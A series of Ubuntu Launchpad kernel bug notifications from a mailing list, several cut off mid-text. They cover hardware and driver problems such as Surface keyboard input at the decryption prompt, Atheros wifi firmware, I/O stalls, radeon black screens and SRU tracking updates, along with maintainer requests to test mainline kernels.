Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784249 Title: Typecover driver not loading before full disk decryption prompt Status in linux package in Ubuntu: Incomplete Bug description: I installed Ubuntu on a MicroSD card in a Microsoft Surface Pro in order to arrive at a dual boot installation. I followed these great instructions: https://vitobotta.com/2018/01/11/ubuntu-full-disk- encryption-manual-partitioning-uefi/ to make sure key partitions were full disk encrypted. I expected to be able to enter my disk (de)encryption password at boot in order to continue booting into Ubuntu and Gnome. Unfortunately, I could not type from the Surface Pro typecover to enter the disk decryption password. As a workaround, I plug in a USB keyboard - which allows me to enter the password and boot normally into Ubuntu. After entering the password, I can remove the USB keyboard and load the OS where typing from the Surface Pro typecover works fine (on it now). If I enter Grub menu/prompt before this decryption prompt, the typecover works fine...but seems to stop working after the Grub menu. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: hogledd1808 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Sun Jul 29 15:39:49 2018 HibernationDevice: RESUME=UUID=e883ce55-c240-4068-86cd-da71359a8dbe InstallationDate: Installed on 2018-07-28 (1 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 003: ID 045e:0306 Microsoft Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 009: ID 045e:09c2 Microsoft Corp. Bus 001 Device 008: ID 1286:204c Marvell Semiconductor, Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Microsoft Corporation Surface Pro ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=/dev/mapper/system-root ro quiet splash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Daemon not responding. RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/09/2017 dmi.bios.vendor: Microsoft Corporation dmi.bios.version: 231.1737.770 dmi.board.name: Surface Pro dmi.board.vendor: Microsoft Corporation dmi.chassis.type: 9 dmi.chassis.vendor: Microsoft Corporation dmi.modalias: dmi:bvnMicrosoftCorporation:bvr231.1737.770:bd06/09/2017:svnMicrosoftCorporation:pnSurfacePro:pvrD0B09F5C09P38S01E0:rvnMicrosoftCorporation:rnSurfacePro:rvr:cvnMicrosoftCorporation:ct9:cvr: dmi.product.family: Surface dmi.product.name: Surface Pro dmi.product.version: D:0B:09F:5C:09P:38S:01E:0 dmi.sys.vendor: Microsoft Corporation To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1520343] Re: Qualcomm Atheros wireless card [168c:003e] (rev 32) not supported
** Changed in: linux-firmware (Ubuntu) Assignee: (unassigned) => Alex (leksander3) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-firmware in Ubuntu. https://bugs.launchpad.net/bugs/1520343 Title: Qualcomm Atheros wireless card [168c:003e] (rev 32) not supported Status in HWE Next: New Status in OEM Priority Project: Fix Released Status in linux-firmware package in Ubuntu: Confirmed Bug description: --- STATUS 2016-03-17: == WARNING: You need at least kernel 4.5.0 for the following new fix to work, else refer to the old method described in post #22 == The support for this card has now been merged to https://github.com/kvalo/ath10k-firmware. The repository now contains the required board.bin, board-2.bin and firmware-4.bin files for the card to initialize and connect to a bgn-access point (5GHz (ac- protocol) is still untested, feel free to modify this if you can confirm it works). Here are the new commands to get you online: sudo mkdir -p /lib/firmware/ath10k/QCA6174/hw3.0/ sudo rm /lib/firmware/ath10k/QCA6174/hw3.0/* 2> /dev/null sudo wget -O /lib/firmware/ath10k/QCA6174/hw3.0/board.bin https://github.com/kvalo/ath10k- firmware/blob/master/QCA6174/hw3.0/board.bin?raw=true sudo wget -O /lib/firmware/ath10k/QCA6174/hw3.0/board-2.bin https://github.com/kvalo/ath10k- firmware/blob/master/QCA6174/hw3.0/board-2.bin?raw=true sudo wget -O /lib/firmware/ath10k/QCA6174/hw3.0/firmware-4.bin https://github.com/kvalo/ath10k- firmware/blob/master/QCA6174/hw3.0/firmware-4.bin_WLAN.RM.2.0-00180-QCARMSWPZ-1?raw=true Reboot or reload the ath10k_pci module and you should be able to connect! --- STATUS 2015-12-22: Currently there is a fix for this problem in post #22 (originally post #19, but reposted due to command typos!) which seems to have fixed the issue for many. This bug is unique to revision 32 of the card [168c:003e], fixes for older revisions don't seem to work. There are a couple of issues regarding the fix for some people (not all): 1. Wireless works, but network throughput stops some time after connecting to access point 2. Bluetooth communications take a noticeable performance hit when transferring something over WiFi --- Original description: I have recently installed Ubuntu 15.10 (64-bit) alongside Windows 10 on an Acer Aspire VN7-792G-76ZH and discovered, that the Qualcomm wireless card doesn't work in it or 16.04. The card has the device id 168c:003e as many other cards, for example the Qualcomm Atheros Killer (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1383184), but it has a newer revision number (32) and the suggested fixes work only partially and the wireless is unusable. The computer has just been released this summer and is Intel Skylake -based. I've tried the patch from bug 1383184, which has a fix for the card revision 20: Make the directory /lib/firmware/ath10k/QCA6174/hw3.0/ and put in the patch files: board.bin firmware-4.bin notice_ath10k_firmware-4.txt ath10k_pci succeeds in loading the firmware, but it seems that the firmware is not working correctly: dmesg | grep ath [5.452683] ath10k_pci :07:00.0: pci irq msi-x interrupts 8 irq_mode 0 reset_mode 0 [5.678420] ath10k_pci :07:00.0: Direct firmware load for ath10k/cal-pci-:07:00.0.bin failed with error -2 [5.678773] ath10k_pci :07:00.0: Direct firmware load for ath10k/QCA6174/hw3.0/board-pci-168c:003e:11ad:0807.bin failed with error -2 [5.678781] ath10k_pci :07:00.0: failed to load spec board file, falling back to generic: -2 [5.679445] ath10k_pci :07:00.0: Direct firmware load for ath10k/QCA6174/hw3.0/firmware-5.bin failed with error -2 [5.679453] ath10k_pci :07:00.0: could not fetch firmware file 'ath10k/QCA6174/hw3.0/firmware-5.bin': -2 [7.802316] ath10k_pci :07:00.0: qca6174 hw3.2 (0x0503, 0x00340aff, 168c:003e:11ad:0807 fallback) fw WLAN.RM.2.0-00180-QCARMSWPZ-1 api 4 htt 3.26 wmi 4 cal otp max_sta 32 [7.802329] ath10k_pci :07:00.0: debug 0 debugfs 1 tracing 1 dfs 0 testmode 0 [8.200607] ath: EEPROM regdomain: 0x6c [8.200614] ath: EEPROM indicates we should expect a direct regpair map [8.200619] ath: Country alpha2 being used: 00 [8.200621] ath: Regpair used: 0x6c [8.216605] ath10k_pci :07:00.0 wlp7s0: renamed from wlan0 [ 13.462029] ath10k_pci :07:00.0: failed to enable dynamic BW: -11 [ 16.461416] ath10k_pci :07:00.0: could not suspend target (-11) [ 24.760062] ath10k_pci :07:00.0: failed to enable dynamic BW: -11 [ 27.759534] ath10k_pci :07:00.0: could not suspend t
[Kernel-packages] [Bug 1784091] [NEW] package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/net
You have been subscribed to a public bug: A few days after a kernel update, my computer froze. I had to revert to a previous kernel. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 ProcVersionSignature: Ubuntu 4.15.0-24.26~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: ums_realtek i915 r8169 wmi ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: linux-headers-4.13.0-43: Remove linux-image-4.15.0-29-generic: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Jul 27 06:36:06 2018 DpkgTerminalLog: Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied DuplicateSignature: package:linux-headers-4.13.0-43:4.13.0-43.48~16.04.1 Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied ErrorMessage: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied InstallationDate: Installed on 2017-06-16 (406 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: linux-hwe Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux (Ubuntu) Importance: Medium Status: Incomplete ** Tags: amd64 apport-package xenial -- package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied https://bugs.launchpad.net/bugs/1784091 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1709889] Comment bridged from LTC Bugzilla
--- Comment From frede...@fr.ibm.com 2018-07-31 13:10 EDT---
Doug,
- do we have patches for this issue ? I saw you talked about some but as I
understand they do not seem satisfactory.
- can any of the cfq tunables help on this ?
- if not, do we have some extended tests/view of deadline scheduler on Power :
would it introduce other issues in place of what it would solve, if it would be
set by default ?
Canonical,
can we mark this issue as happening on 18.04 too (4.15.0-26-generic) ?
Launchpad only shows it affects Zesty.
Fred
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1709889
Title:
Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to
adapter for a very long time.
Status in Linux:
Unknown
Status in The Ubuntu-power-systems project:
Invalid
Status in linux package in Ubuntu:
Invalid
Status in linux source package in Zesty:
Won't Fix
Bug description:
---Problem Description---
When running stress test, sometimes seeing IO hung in dmesg or seeing "Host
adapter abort request" error.
---Steps to Reproduce---
There are two ways to re-create the issues:
(1)running HTX, you will see IO timeout backtrace in dmesg in several hours
(2)running some IO test, then reboot system, repeat this two steps, it takes
long time to re-create the issue.
---uname output---
4.10.0-11-generic
The bulk of the effort for this issue is currently being worked in
MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133.
Ran an interesting test: Ran HTX until I started getting the "stall"
messages on the console, then shutdown HTX and examined the I/O
counters for the tested disks in sysfs:
root@bostonp15:~# for i in
/sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0;
do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done
0:2:2:0 0x5eba3d 0x5eba3d
0:2:3:0 0x773cc9 0x773cc9
0:2:4:0 0x782c61 0x782c61
0:2:5:0 0x5ca134 0x5ca134
root@bostonp15:~#
So, none of the disks showed any evidence of having lost an I/O. I
then restarted HTX and aside from having to manually restart one of
the disks, see no problems with the testing. It appears that what was
"hung" was purely in userland.
This does not absolve the kernel or aacraid driver from blame, but it
shows that the OS "believes" that it completed the I/O and thus
removed it from the queue. What we don't know is whether the OS truly
notified HTX about the completion, or if HTX (or userland libraries)
just failed to process the notification.
Tests are running again, will see what happens next.
Update from JIRA:
I have run some more experiments. Not sure what it tells us, but
here's what I've seen.
First test, ran until I got kernel messages about stalled tasks, then
shutdown HTX. After HTX was down, I checked the above mentioned
counters and found that on each disk iorequest_cnt matched iodone_cnt.
The disks were usable and I could restart HTX. This suggests that the
problem is not in the PM8069 firmware, and makes the case for the
aacraid driver having a bug somewhat weaker. However, this merely says
that the driver "completed" the I/O as far as the kernel is concerned,
not that a completion rippled back to the application.
I restarted HTX and have run until errors. This time, I am leaving HTX
running and observing. Two of the disks reached the HTX error
threshold and the testers stopped (those 2 disks are now idle).
Another disks saw errors but then stopped and appears to be running
fine now. The last disk has not seen any errors (yet). On the two idle
(errored-out) disks I see iorequest_cnt matches iodone_cnt. I am able
to "terminate and restart" the two idle disks and HTX appears to be
testing them again "normally". Note that no reboot was required,
further supporting the evidence that, as far as the kernel is
concerned, there is nothing wrong with the disks and their I/O paths.
So, I don't believe this completely eliminates aacraid from the
picture, especially given we don't see this behavior on other
systems/drivers. But, it probably moves the focus of the investigation
away form the adapter firmware.
Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs.
Both Ubuntu 4.10 and upstream 4.11 have aacraid driver
1.2.1[50792]-custom.
Good new/bad news... While doing an initial evaluation of the LSI-3008
SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem.
So, it appears to have nothing specific to do with the PM8069 or
aacraid driver.
Some notes on reproduce this. I have been using the github release of
HTX, built using the following steps:
1. apt install make gcc g++ git libncurses5-dev libcxl-dev libdapl-dev
(others may be required)
2. git clone https://github.com/open-power/HTX
3. cd HTX
4. make
5. mak
[Kernel-packages] [Bug 1784227] [NEW] Wireless fails on all kernel updates since 4.13.0-45
You have been subscribed to a public bug: I did some research and this seems to be the result of missing headers in the kernel patch. I found some references to steps to force a full kernel build but I wasn't able to get the steps to work. I've locked the 4.13.0-45 kernel hoping a future patch will correct the issue. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-headers-4.15.0-29 4.15.0-29.31~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-lowlatency 4.13.16 Uname: Linux 4.13.0-45-lowlatency x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: XFCE Date: Sun Jul 29 09:17:04 2018 InstallationDate: Installed on 2017-03-07 (509 days ago) InstallationMedia: Ubuntu-Studio 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215) PackageArchitecture: all ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: linux-hwe UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux (Ubuntu) Importance: High Status: Incomplete ** Tags: amd64 apport-bug xenial -- Wireless fails on all kernel updates since 4.13.0-45 https://bugs.launchpad.net/bugs/1784227 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784473] Re: [radeon] Ubuntu boots to a black screen
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784473 Title: [radeon] Ubuntu boots to a black screen Status in linux package in Ubuntu: Incomplete Status in mutter package in Ubuntu: New Bug description: After a fresh install of ubuntu 18.04LTS(dual booted with windows 7) when I selected ubuntu from the grub menu to boot into the OS. But I got a black screen I waited for few seconds but I was still at black screen. So, I forced shutdown the laptop. Again in second attempt to login I got black screen this time I waited for more than a minute and pressed power button once which suspended the pc then I pressed enter and I was presented with login screen. To solve the problem I followed this guide https://askubuntu.com/questions/1029624/ubuntu-18-04-live- boot-leads-to-blank-screen and changed quiet splash to nomodeset quiet splash. After applying this fix there was no black screen at the time of login, but the laptop started to freeze randomly even when left idle for more than 30 mins it would freeze. I had force shutdown each time and this happened very frequently. I again changed nomodeset quiet splash to quiet splash, which again leads to black screen after selecting ubuntu from the grub menu. I also did RAM test using Memtest86 from GRUB and everything was fine systemd-analyze time Startup finished in 6.015s (kernel) + 1min 26.820s (userspace) = 1min 32.836s graphical.target reached after 1min 25.472s in userspace ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Jul 31 00:17:48 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.10, 4.15.0-29-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Several times a day GpuHangReproducibility: Seems to happen randomly GpuHangStarted: Immediately after installing this version of Ubuntu GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Sumo [Radeon HD 6480G] [1002:9648] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Sumo [Radeon HD 6480G] [103c:3564] InstallationDate: Installed on 2018-07-26 (4 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Hewlett-Packard HP Pavilion g4 Notebook PC ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=007c6619-ca84-4c0f-8b16-7fa740dc0c3e ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/24/2014 dmi.bios.vendor: Insyde dmi.bios.version: F.6D dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: 3564 dmi.board.vendor: Hewlett-Packard dmi.board.version: 21.47 dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.6D:bd01/24/2014:svnHewlett-Packard:pnHPPaviliong4NotebookPC:pvr06911320461610100:rvnHewlett-Packard:rn3564:rvr21.47:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV dmi.product.name: HP Pavilion g4 Notebook PC dmi.product.version: 06911320461610100 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1
[Kernel-packages] [Bug 1784082] Re: Ubuntu is overheating my laptop
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete ** Tags added: kernel-da-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784082 Title: Ubuntu is overheating my laptop Status in linux package in Ubuntu: Incomplete Bug description: Ubuntu is overheating my laptop. Same problem as 1768976 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1768976 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-release-upgrader-core 1:18.04.21 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: communitheme:ubuntu:GNOME Date: Sat Jul 28 01:35:57 2018 InstallationDate: Installed on 2016-06-11 (776 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: release-upgrade UpgradeStatus: Upgraded to bionic on 2018-07-27 (0 days ago) --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: communitheme:ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2016-06-11 (776 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) NonfreeKernelModules: nvidia_modeset nvidia Package: ubuntu-release-upgrader (not installed) ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic dist-upgrade Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-07-27 (0 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784082/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784310] Re: linux-kvm: 4.4.0-1030.35 -proposed tracker
** Summary changed: - linux-kvm: -proposed tracker + linux-kvm: 4.4.0-1030.35 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784310 Title: linux-kvm: 4.4.0-1030.35 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-kvm package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784302 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784310/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784299] Re: linux: 3.13.0-154.204 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package-meta Status: In Progress => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784299 Title: linux: 3.13.0-154.204 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC kernel-stable-phase:Uploaded -- swm properties -- phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784299/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1589008] Re: Bluetooth freezing video playback In Ubuntu/Kubuntu 16.04
"pulseaudio --version" to check v12.2 link https://www.freedesktop.org/software/pulseaudio/releases/pulseaudio-12.2.tar.xz -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1589008 Title: Bluetooth freezing video playback In Ubuntu/Kubuntu 16.04 Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: Confirmed Bug description: In 16.04 when a bluetooth audio device is connected it freezes video playback and also no sound comes from online audio only streams. Issue does not exist with a wired headset. This issue does not exist with 15.10. All updates have been installed on 16.04 including backports but they have not fixed the issue. It is not browser specific and not website specific. It is not hardware specific as it affects my laptop with an intel 7260 card and my pc with an intel 8260 card. The issue exists on both ubuntu and kubuntu 16.04. I have reported it on the ubuntu support forums and after investigation a moderator noticed changed in the kernel from 4.4 and 4.2 that may becausing the issue and asked me to file a bug report. The ubuntu forum thread can be found here. http://ubuntuforums.org/showthread.php?t=2326672 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-23-generic 4.4.0-23.41 ProcVersionSignature: Ubuntu 4.4.0-23.41-generic 4.4.10 Uname: Linux 4.4.0-23-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: stephen1435 F pulseaudio /dev/snd/controlC0: stephen1435 F pulseaudio CurrentDesktop: KDE Date: Fri Jun 3 23:50:00 2016 HibernationDevice: RESUME=UUID=78e7aefc-d517-4c58-836f-a90f0b6017c6 InstallationDate: Installed on 2016-05-06 (28 days ago) InstallationMedia: Kubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 8087:0a2b Intel Corp. Bus 001 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: MSI MS-7978 ProcFB: 0 EFI VGA ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-23-generic.efi.signed root=UUID=bccf2ca7-4e23-412a-ba10-7a3f915270dd ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-23-generic N/A linux-backports-modules-4.4.0-23-generic N/A linux-firmware1.157 SourcePackage: linux UpgradeStatus: 